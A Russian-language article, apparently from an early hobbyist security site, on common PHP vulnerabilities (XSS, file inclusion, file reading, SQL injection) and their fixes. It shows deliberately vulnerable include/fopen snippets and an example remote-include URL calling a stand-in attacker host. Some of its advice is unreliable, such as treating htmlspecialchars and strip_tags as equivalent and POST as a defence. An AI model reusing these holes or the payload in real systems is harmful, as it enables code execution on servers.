Создание безопасных PHP-приложений

Эту статью я решил написать не потому что хочу помочь начинающим кодерам, а просто потому что надо чем-то заполнить контент сайта. Шутка. На самом деле я преследовал именно благородные цели, хотел принести свой собственный вклад в развитие секурного web-программирования=). И так, сразу говорю, что в основном я здесь рассмотрю ошибки (не углубляясь в их суть) и их устранение в языке PHP. Попытаюсь собрать самые часто распространенные недочеты. Начну с самых распространенных и "попсовых" багов=).

1. XSS (CrossSiteScripting)

Обычно такая ошибка возникает, когда какому-либо скрипту передается параметр, который впоследствии выводится на html-страницу, при этом не проходя определенную фильтрацию на содержание тегов. Рассмотрим пример подобной уязвимости, которую я нашел в декабре 2004 года на mail.ru (эх, жалко, что я тогда даже не знал, что это - уязвимость): при отправке письма пользователю надо заполнить форму, в которой указывался адрес получателя, тема письма, ну и само письмо (правда, контент письма не играл не какой роли). При нажатии кнопки "Отправить" отправитель переходил на страницу, на которой ему сообщалось, что сообщение для такого-то с темой такой-то успешно отправлено. Но уязвимость заключалась в том, что адрес получателя и тема письма передавались этой странице в открытом виде методом GET, т.е. эти данные отражались в адресной строке. Увидев это, у меня возникло желание заменить параметры на html-теги. Сработало! А значит, если передавать в параметр java-script, то он будет выполняться у любого юзера, который откроет "такую" страницу. Теперь подробнее о том, как избежать такой уязвимости при создании своего скрипта. Основное правило - фильтрация входных данных, поступающих от пользователя. В php это делается функциями htmlspecialchars() и striptags(). Лично я пользуюсь последней, но принципиальной разницы нету, обе функции равноправны. Они просто удаляют теги из входной строки (естественно, можно задавать разрешенные теги). И ещё один совет: если вы пользуетесб html-формами для взаимодействия со скриптами, то метод, с помощью которого они будут передавать данные должен быть "POST"!!! Это, по крайней мере, не будет в открытом виде высвечивать в адресной строке, что и куда передаётся: В более-менее продвинутых форумах сейчас также практикуется XSS через BBcode, но об этом уже не в этой статье:

2. Ошибка php-include

В суть самой уязвимости, как я сказал в начале, я вникать не буду, а сразу перейду к способам её устранения. Чтобы избежать присоединения "левого" кода к вашему скрипту, есть один проверенный способ: пропустить входные данные (имя присоединяемого файла) через оператор условия. Например:

<?
switch ($file):
{
case("articles"): include ("articles.php");break;
case("news"): include ("news.php");break;
default: include("index.php");break;// - это защита от подстановки неправильных данных
}
?>

Также, можно использовать оператор "if". Из своего личного опыта могу сказать, что довольно часто встречалась такая ситуация: есть файл index.php, в котором объявляется какой-нибудь статический файл, и к этому index.php функцией include присоединялся другой php-файл, в котором уже шла работа непосредственно с тем статическим файлом. На примере это выглядит примерно так:

<?
//Файл index.php
$f="some_file.php";
include("file_functions.php");
.
.
.
?>

а в файле file_functions.php примерно такое содержание:

<?
//Файл file_functions.php
include($f);
.
. :.some actions
.
?>

Таким образом, присоединяемый файл some_file.php объявлен во внешнем файле, и если вызвать отдельно "file_functions.php?f=http://attacer_site/evil_script.php", то выполнится код, содержащийся в удаленном скрипте evil_script.php (при условии, что в настройках PHP есть разрешение инклудить файлы извне и включен флаг register_globals=on). Всем этим я хотел сказать, что объявлять файл надо в том же скрипте, который с этим файлом и работает (фууф, надеюсь, все понятно).

3. Чтение файлов на сервере

Ситуация чем то похожа на предыдущую, потому опять же, очень часто файл, с которым идет работа объявляется совершенно не там где надо. Вот пример:
Есть файл index.php, содержащий такой код:

<?
//Файл index.php
$f="some_file.txt"; //расширение может быть любым
include ("file_functions.php");
.
.
.
?>

А вот такой код содержится в файле file_functions.php:
<?
//Файл file_functions.php
$file=fopen("$f","r");
.
.//some actions (чтение и вывод, например)
.
fclose("$f");
?>

Поэтому опять же повторю, что объявлять файл, с которым работает скрипт надо именно в этом скрипте, чтобы избежать попадания информации ко взломщику.

4. SQL-injection

Сегодня уже можно с уверенностью сказать, что если скрипт вызывается с параметром "id", или чем-то похожим, то он (скрипт) работает с БД, и этот самый параметр участвует в запросе. Как правило, в параметр, a участвующий в запросе, передается числовое значение поля, по которому данные изымаются из таблицы. Чтобы избежать изменения запроса (посредством изменения параметра: добавление кавычек, union select, или других выражений MYSQL), нужно, чтобы в параметр передавалось ТОЛЬКО ЧИСЛО. В этом поможет функция intval(), которая преобразует заданную переменную в числовую. Пример:

<?
$var="100asd";
$var=intval($var);
echo "$var";
?>

В данном случае, после обработки, переменная $var будет равна ЧИСЛУ 100. Так что на sql-запросе подстановка неправильных параметров не отразится.

5. Другое

В одном из самодельных (да, в паблик-продуктах таких идиотских ошибок не может быть) форумов я нашел такую ошибку: в один из параметров передавалось не что иное, а php-код!!! Для меня в том случае было ещё одно обстоятельство, которое не могло не радовать: на сервере стояла Винда, так что было где поразвлечься! Команды выполнялись практически, дело дошло уже до того, что я вписывал в параметр код целыми строками. Да: Идиотская прореха:
Пока это всё, по вопросам обращаться на antiox@gmail.com или по icq: 440043.

Эту статью и другие материалы по информационной безопасности вы можете прочитать на сайте antiox.loteam.net.



Вернуться на главную страницу